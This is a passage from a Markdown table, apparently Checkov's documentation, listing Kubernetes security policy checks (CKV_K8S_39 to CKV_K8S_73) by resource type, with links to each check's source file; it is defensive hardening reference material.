[AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 276 | CKV_K8S_39  | resource | DaemonSet              | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 277 | CKV_K8S_39  | resource | Deployment             | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 278 | CKV_K8S_39  | resource | DeploymentConfig       | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 279 | CKV_K8S_39  | resource | Job                    | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 280 | CKV_K8S_39  | resource | Pod                    | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 281 | CKV_K8S_39  | resource | PodTemplate            | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 282 | CKV_K8S_39  | resource | ReplicaSet             | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 283 | CKV_K8S_39  | resource | ReplicationController  | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 284 | CKV_K8S_39  | resource | StatefulSet            | Do not use the CAP_SYS_ADMIN linux capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py)                                             |\n| 285 | CKV_K8S_40  | resource | CronJob                | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 286 | CKV_K8S_40  | resource | DaemonSet              | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 287 | CKV_K8S_40  | resource | Deployment             | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 288 | CKV_K8S_40  | resource | Job                    | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 289 | CKV_K8S_40  | resource | Pod                    | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 290 | CKV_K8S_40  | resource | ReplicaSet             | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 291 | CKV_K8S_40  | resource | ReplicationController  | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 292 | CKV_K8S_40  | resource | StatefulSet            | Containers should run as a high UID to avoid host conflict                                                                                                                                     | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py)                                                         |\n| 293 | CKV_K8S_41  | resource | ServiceAccount         | Ensure that default service accounts are not actively used                                                                                                                                     | Kubernetes | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py)                                                         |\n| 294 | CKV_K8S_42  | resource | ClusterRoleBinding     | Ensure that default service accounts are not actively used                                                                                                                                     | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py)                                           |\n| 295 | CKV_K8S_42  | resource | RoleBinding            | Ensure that default service accounts are not actively used                                                                                                                                     | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py)                                           |\n| 296 | CKV_K8S_43  | resource | CronJob                | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 297 | CKV_K8S_43  | resource | DaemonSet              | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 298 | CKV_K8S_43  | resource | Deployment             | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 299 | CKV_K8S_43  | resource | DeploymentConfig       | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 300 | CKV_K8S_43  | resource | Job                    | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 301 | CKV_K8S_43  | resource | Pod                    | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 302 | CKV_K8S_43  | resource | PodTemplate            | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 303 | CKV_K8S_43  | resource | ReplicaSet             | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 304 | CKV_K8S_43  | resource | ReplicationController  | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 305 | CKV_K8S_43  | resource | StatefulSet            | Image should use digest                                                                                                                                                                        | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py)                                                                             |\n| 306 | CKV_K8S_44  | resource | Service                | Ensure that the Tiller Service (Helm v2) is deleted                                                                                                                                            | Kubernetes | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerService.py)                                                                         |\n| 307 | CKV_K8S_45  | resource | CronJob                | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 308 | CKV_K8S_45  | resource | DaemonSet              | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 309 | CKV_K8S_45  | resource | Deployment             | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 310 | CKV_K8S_45  | resource | DeploymentConfig       | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 311 | CKV_K8S_45  | resource | Job                    | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 312 | CKV_K8S_45  | resource | Pod                    | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 313 | CKV_K8S_45  | resource | PodTemplate            | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 314 | CKV_K8S_45  | resource | ReplicaSet             | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 315 | CKV_K8S_45  | resource | ReplicationController  | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 316 | CKV_K8S_45  | resource | StatefulSet            | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster                                                                                                               | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py)                                                   |\n| 317 | CKV_K8S_49  | resource | ClusterRole            | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py)                                                                         |\n| 318 | CKV_K8S_49  | resource | Role                   | Minimize wildcard use in Roles and ClusterRoles                                                                                                                                                | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py)                                                                         |\n| 319 | CKV_K8S_68  | resource | CronJob                | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 320 | CKV_K8S_68  | resource | DaemonSet              | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 321 | CKV_K8S_68  | resource | Deployment             | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 322 | CKV_K8S_68  | resource | DeploymentConfig       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 323 | CKV_K8S_68  | resource | Job                    | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 324 | CKV_K8S_68  | resource | Pod                    | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 325 | CKV_K8S_68  | resource | PodTemplate            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 326 | CKV_K8S_68  | resource | ReplicaSet             | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 327 | CKV_K8S_68  | resource | ReplicationController  | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 328 | CKV_K8S_68  | resource | StatefulSet            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py)                                                       |\n| 329 | CKV_K8S_69  | resource | CronJob                | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 330 | CKV_K8S_69  | resource | DaemonSet              | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 331 | CKV_K8S_69  | resource | Deployment             | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 332 | CKV_K8S_69  | resource | DeploymentConfig       | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 333 | CKV_K8S_69  | resource | Job                    | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 334 | CKV_K8S_69  | resource | Pod                    | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 335 | CKV_K8S_69  | resource | PodTemplate            | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 336 | CKV_K8S_69  | resource | ReplicaSet             | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 337 | CKV_K8S_69  | resource | ReplicationController  | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 338 | CKV_K8S_69  | resource | StatefulSet            | Ensure that the --basic-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py)                                                       |\n| 339 | CKV_K8S_70  | resource | CronJob                | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 340 | CKV_K8S_70  | resource | DaemonSet              | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 341 | CKV_K8S_70  | resource | Deployment             | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 342 | CKV_K8S_70  | resource | DeploymentConfig       | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 343 | CKV_K8S_70  | resource | Job                    | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 344 | CKV_K8S_70  | resource | Pod                    | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 345 | CKV_K8S_70  | resource | PodTemplate            | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 346 | CKV_K8S_70  | resource | ReplicaSet             | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 347 | CKV_K8S_70  | resource | ReplicationController  | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 348 | CKV_K8S_70  | resource | StatefulSet            | Ensure that the --token-auth-file argument is not set                                                                                                                                          | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py)                                                       |\n| 349 | CKV_K8S_71  | resource | CronJob                | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 350 | CKV_K8S_71  | resource | DaemonSet              | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 351 | CKV_K8S_71  | resource | Deployment             | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 352 | CKV_K8S_71  | resource | DeploymentConfig       | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 353 | CKV_K8S_71  | resource | Job                    | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 354 | CKV_K8S_71  | resource | Pod                    | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 355 | CKV_K8S_71  | resource | PodTemplate            | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 356 | CKV_K8S_71  | resource | ReplicaSet             | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 357 | CKV_K8S_71  | resource | ReplicationController  | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 358 | CKV_K8S_71  | resource | StatefulSet            | Ensure that the --kubelet-https argument is set to true                                                                                                                                        | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py)                                                         |\n| 359 | CKV_K8S_72  | resource | CronJob                | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 360 | CKV_K8S_72  | resource | DaemonSet              | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 361 | CKV_K8S_72  | resource | Deployment             | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 362 | CKV_K8S_72  | resource | DeploymentConfig       | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 363 | CKV_K8S_72  | resource | Job                    | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 364 | CKV_K8S_72  | resource | Pod                    | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 365 | CKV_K8S_72  | resource | PodTemplate            | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 366 | CKV_K8S_72  | resource | ReplicaSet             | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 367 | CKV_K8S_72  | resource | ReplicationController  | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 368 | CKV_K8S_72  | resource | StatefulSet            | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate                                                                                         | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py)                                   |\n| 369 | CKV_K8S_73  | resource | CronJob                | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 370 | CKV_K8S_73  | resource | DaemonSet              | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 371 | CKV_K8S_73  | resource | Deployment             | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 372 | CKV_K8S_73  | resource | DeploymentConfig       | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 373 | CKV_K8S_73  | resource | Job                    | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 374 | CKV_K8S_73  | resource | Pod                    | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 375 | CKV_K8S_73  | resource | PodTemplate            | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 376 | CKV_K8S_73  | resource | ReplicaSet             | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 377 | CKV_K8S_73  | resource | ReplicationController  | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | 